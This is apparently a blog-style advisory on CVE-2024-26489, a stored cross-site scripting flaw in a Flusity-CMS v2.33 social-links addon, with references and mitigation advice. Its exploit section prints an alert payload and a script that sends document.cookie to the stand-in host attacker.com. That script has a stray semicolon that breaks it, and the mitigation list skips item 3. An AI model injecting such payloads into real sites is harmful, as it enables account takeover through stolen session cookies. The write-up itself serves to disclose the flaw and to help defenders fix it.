A newly discovered vulnerability (CVE-2024-26489) within the Addon JD Flusity 'Social block links' module of Flusity-CMS v2.33 exposes users to the execution of arbitrary web scripts or HTML via a crafted payload injection into the 'Profile Name' text field. This dangerous cross-site scripting (XSS) vulnerability poses a great risk to user data and access control.

In this long-read post, we'll detail the vulnerability, provide code snippets, exploit details, and links to original references. We believe this comprehensive guide will significantly assist developers and administrators in understanding and remedying the issue.

Vulnerability Details

An attacker can exploit this XSS vulnerability by crafting a payload that contains malicious web scripts or HTML code, and inject this payload into the 'Profile Name' text field within the Addon JD Flusity 'Social block links' module.

Once the crafted payload is submitted, it gets stored into the database. When another user views a profile containing the crafted payload, it will be executed within the user's browser, potentially causing unauthorized access, data theft, or other malicious consequences.

The affected component is the Addon JD Flusity 'Social block links' module for the Flusity-CMS v2.33.

Exploit

To exploit this vulnerability, the attacker needs to create a malicious payload that consists of web scripts or HTML code.

Consider the following example payload

<script>alert('XSS')</script>

In this example, an attacker is injecting a simple JavaScript alert, which, when executed, will show a 'XSS' alert message on the user's browser. Since the input text field doesn't sanitize user inputs, this payload will be saved in the database and executed whenever the malicious profile is viewed.

To further demonstrate, consider a more real-life and dangerous payload

<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'https://attacker.com/steal_data';, true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
  xhr.send('stolen_data=' + encodeURIComponent(document.cookie));
</script>

Here, an attacker targets stealing cookies by using XMLHttpRequest to send an HTTP POST request containing cookie information to their server. The stolen data includes session cookies, potentially giving the attacker unauthorized access to user accounts.

Below are some original references regarding the vulnerability

1. CVE-2024-26489 - National Vulnerability Database (NVD)
2. Github Issue for Flusity-CMS XSS Vulnerability
3. OWASP Cross-site Scripting (XSS)

Mitigation

To mitigate the XSS vulnerability in the Addon JD Flusity 'Social block links' module of Flusity-CMS v2.33, developers and administrators should consider the following actions:

1. Implement input sanitization for the 'Profile Name' text field. Remove or escape any potentially dangerous characters, such as <, >, and &. This can be achieved using libraries designed for handling these purposes, such as DOMPurify or Google's Closure Library.

2. Set a content security policy (CSP) header, which allows only trusted scripts, resources, and origins to execute. This can significantly decrease the likelihood of XSS attacks.

Regularly update Flusity-CMS to its latest version and security patches.

4. Educate users about the potential risks associated with XSS attacks and how they can protect themselves with appropriate actions such as avoiding potentially unsafe profiles and always logging out after using the application.

Conclusion

This detailed long-read post has provided an overview, exploit details, code snippets, and mitigation steps for the CVE-2024-26489 vulnerability in the Addon JD Flusity 'Social block links' module of Flusity-CMS v2.33. As always, we encourage developers and administrators to remain vigilant about the latest vulnerabilities and take actions to provide robust security for their users.

Timeline

Published on: 02/22/2024 06:15:57 UTC
Last modified on: 02/22/2024 19:07:27 UTC